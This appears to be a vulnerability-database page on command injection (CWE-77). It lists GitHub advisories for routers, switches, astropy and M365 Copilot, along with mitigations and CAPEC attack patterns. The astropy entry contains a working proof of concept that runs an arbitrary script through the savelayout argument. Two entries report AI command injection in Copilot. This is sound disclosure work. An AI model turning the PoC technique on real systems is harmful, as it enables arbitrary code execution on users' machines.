CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-H2PJ-589H-M8GR
Vulnerability from github – Published: 2021-12-27 00:01 – Updated: 2022-01-11 00:02Certain NETGEAR devices are affected by command injection by an authenticated user. This affects GC108P before 1.0.8.2, GC108PP before 1.0.8.2, GS108Tv3 before 7.0.7.2, GS110TPv3 before 7.0.7.2, GS110TPP before 7.0.7.2, GS110TUP before 1.0.5.3, GS710TUP before 1.0.5.3, GS308T before 1.0.3.2, GS310TP before 1.0.3.2, GS710TUP before 1.0.5.3, GS716TP before 1.0.4.2, GS716TPP before 1.0.4.2, GS724TPP before 2.0.6.3, GS724TPv2 before 2.0.6.3, GS724TPP before 2.0.6.3, GS728TPPv2 before 6.0.8.2, GS728TPv2 before 6.0.8.2, GS752TPv2 before 6.0.8.2, GS752TPP before 6.0.8.2, GS750E before 1.0.1.10, MS510TXM before 1.0.4.2, and MS510TXUP before 1.0.4.2.
{
"affected": [],
"aliases": [
"CVE-2021-45557"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-26T01:15:00Z",
"severity": "HIGH"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects GC108P before 1.0.8.2, GC108PP before 1.0.8.2, GS108Tv3 before 7.0.7.2, GS110TPv3 before 7.0.7.2, GS110TPP before 7.0.7.2, GS110TUP before 1.0.5.3, GS710TUP before 1.0.5.3, GS308T before 1.0.3.2, GS310TP before 1.0.3.2, GS710TUP before 1.0.5.3, GS716TP before 1.0.4.2, GS716TPP before 1.0.4.2, GS724TPP before 2.0.6.3, GS724TPv2 before 2.0.6.3, GS724TPP before 2.0.6.3, GS728TPPv2 before 6.0.8.2, GS728TPv2 before 6.0.8.2, GS752TPv2 before 6.0.8.2, GS752TPP before 6.0.8.2, GS750E before 1.0.1.10, MS510TXM before 1.0.4.2, and MS510TXUP before 1.0.4.2.",
"id": "GHSA-h2pj-589h-m8gr",
"modified": "2022-01-11T00:02:04Z",
"published": "2021-12-27T00:01:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45557"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000064164/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Switches-PSV-2021-0167"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H2W9-P5QF-QMRH
Vulnerability from github – Published: 2025-06-11 15:30 – Updated: 2025-08-04 18:30Ai command injection in M365 Copilot allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2025-32711"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-11T14:15:31Z",
"severity": "CRITICAL"
},
"details": "Ai command injection in M365 Copilot allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-h2w9-p5qf-qmrh",
"modified": "2025-08-04T18:30:32Z",
"published": "2025-06-11T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32711"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-32711"
},
{
"type": "WEB",
"url": "https://www.aim.security/lp/aim-labs-echoleak-m365"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H2X6-5JX5-46HF
Vulnerability from github – Published: 2024-03-18 20:26 – Updated: 2024-03-18 21:46Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function
Details
Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.
PoC
$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
stdout, stderr = proc.communicate(dotgraph)
File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
stdout, stderr = self._communicate(input, endtime, timeout)
File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>>
$ cat /tmp/poc.txt
astrorce
Impact
code execution on the user's machine
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "astropy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41334"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-18T20:26:33Z",
"nvd_published_at": "2024-03-18T19:15:05Z",
"severity": "HIGH"
},
"details": "### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n stdout, stderr = proc.communicate(dotgraph)\n File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n stdout, stderr = self._communicate(input, endtime, timeout)\n File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not \u0027str\u0027\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user\u0027s machine\n",
"id": "GHSA-h2x6-5jx5-46hf",
"modified": "2024-03-18T21:46:18Z",
"published": "2024-03-18T20:26:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41334"
},
{
"type": "WEB",
"url": "https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5"
},
{
"type": "PACKAGE",
"url": "https://github.com/astropy/astropy"
},
{
"type": "WEB",
"url": "https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "RCE in TranformGraph().to_dot_graph function"
}
GHSA-H35M-VHJW-VQXJ
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to perform tampering over a network.
{
"affected": [],
"aliases": [
"CVE-2026-42893"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:26Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in a command (\u0027command injection\u0027) in M365 Copilot allows an unauthorized attacker to perform tampering over a network.",
"id": "GHSA-h35m-vhjw-vqxj",
"modified": "2026-05-12T18:30:47Z",
"published": "2026-05-12T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42893"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3FP-5W83-8RCJ
Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30A vulnerability has been identified in SINEMA Remote Connect Client (All versions < V3.2 HF1). The system service of affected applications is vulnerable to command injection due to missing server side input sanitation when loading VPN configurations. This could allow an administrative remote attacker running a corresponding SINEMA Remote Connect Server to execute arbitrary code with system privileges on the client system.
{
"affected": [],
"aliases": [
"CVE-2024-39569"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T12:15:16Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SINEMA Remote Connect Client (All versions \u003c V3.2 HF1). The system service of affected applications is vulnerable to command injection due to missing server side input sanitation when loading VPN configurations. This could allow an administrative remote attacker running a corresponding SINEMA Remote Connect Server to execute arbitrary code with system privileges on the client system.",
"id": "GHSA-h3fp-5w83-8rcj",
"modified": "2024-07-09T12:30:57Z",
"published": "2024-07-09T12:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39569"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-868282.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H3H2-X5GQ-RGHF
Vulnerability from github – Published: 2025-08-07 17:34 – Updated: 2025-08-07 21:31Netwrix Directory Manager (formerly Imanami GroupID) 11.0.0.0 before 11.1.25162.02 allows Static Code Injection. Authenticated users can obtain administrative access.
{
"affected": [],
"aliases": [
"CVE-2025-54393"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-07T17:15:29Z",
"severity": "MODERATE"
},
"details": "Netwrix Directory Manager (formerly Imanami GroupID) 11.0.0.0 before 11.1.25162.02 allows Static Code Injection. Authenticated users can obtain administrative access.",
"id": "GHSA-h3h2-x5gq-rghf",
"modified": "2025-08-07T21:31:06Z",
"published": "2025-08-07T17:34:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54393"
},
{
"type": "WEB",
"url": "https://community.netwrix.com/t/adv-2025-015-critical-vulnerabilities-in-netwrix-directory-manager-formerly-imanami-groupid-v11/17192"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H3J4-W6VX-H76J
Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-05 00:00Realtek rtl819x-SDK before v3.6.1 allows command injection over the web interface.
{
"affected": [],
"aliases": [
"CVE-2022-29558"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-28T22:15:00Z",
"severity": "HIGH"
},
"details": "Realtek rtl819x-SDK before v3.6.1 allows command injection over the web interface.",
"id": "GHSA-h3j4-w6vx-h76j",
"modified": "2022-08-05T00:00:26Z",
"published": "2022-07-29T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29558"
},
{
"type": "WEB",
"url": "https://www.realtek.com"
},
{
"type": "WEB",
"url": "https://www.realtek.com/images/safe-report/Realtek_APRouter_SDK_Advisory-CVE-2022-29558.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3V4-G87V-9F8X
Vulnerability from github – Published: 2023-06-13 21:30 – Updated: 2024-04-04 04:47TP-Link TL-WPA8630P (US) V2 Version 171011 was discovered to contain a command injection vulnerability via the devicePwd parameter in the function sub_ 40A80C.
{
"affected": [],
"aliases": [
"CVE-2023-27836"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-13T19:15:09Z",
"severity": "CRITICAL"
},
"details": "TP-Link TL-WPA8630P (US)_ V2_ Version 171011 was discovered to contain a command injection vulnerability via the devicePwd parameter in the function sub_ 40A80C.",
"id": "GHSA-h3v4-g87v-9f8x",
"modified": "2024-04-04T04:47:50Z",
"published": "2023-06-13T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27836"
},
{
"type": "WEB",
"url": "https://github.com/lzd521/IOT/tree/main/TP-Link%20WPA8630P%202"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3VM-V3M8-P5M3
Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2022-07-13 00:01Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetNetCheckTools. This vulnerability allows attackers to execute arbitrary commands via the hostName parameter.
{
"affected": [],
"aliases": [
"CVE-2021-45987"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-04T02:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function formSetNetCheckTools. This vulnerability allows attackers to execute arbitrary commands via the hostName parameter.",
"id": "GHSA-h3vm-v3m8-p5m3",
"modified": "2022-07-13T00:01:51Z",
"published": "2022-02-09T00:00:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45987"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/218961"
},
{
"type": "WEB",
"url": "https://github.com/pjqwudi/my_vuln/blob/main/Tenda/vuln_3/3.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H3VP-H9RM-55X3
Vulnerability from github – Published: 2023-07-07 15:30 – Updated: 2024-04-04 05:50TOTOLINK LR350 V9.3.5u.6369_B20220309 was discovered to contain a command injection vulnerability via the FileName parameter in the UploadFirmwareFile function.
{
"affected": [],
"aliases": [
"CVE-2023-37146"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-07T14:15:09Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK LR350 V9.3.5u.6369_B20220309 was discovered to contain a command injection vulnerability via the FileName parameter in the UploadFirmwareFile function.",
"id": "GHSA-h3vp-h9rm-55x3",
"modified": "2024-04-04T05:50:29Z",
"published": "2023-07-07T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37146"
},
{
"type": "WEB",
"url": "https://github.com/DaDong-G/Vulnerability_info/tree/main/TOTOLINK/lr350/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.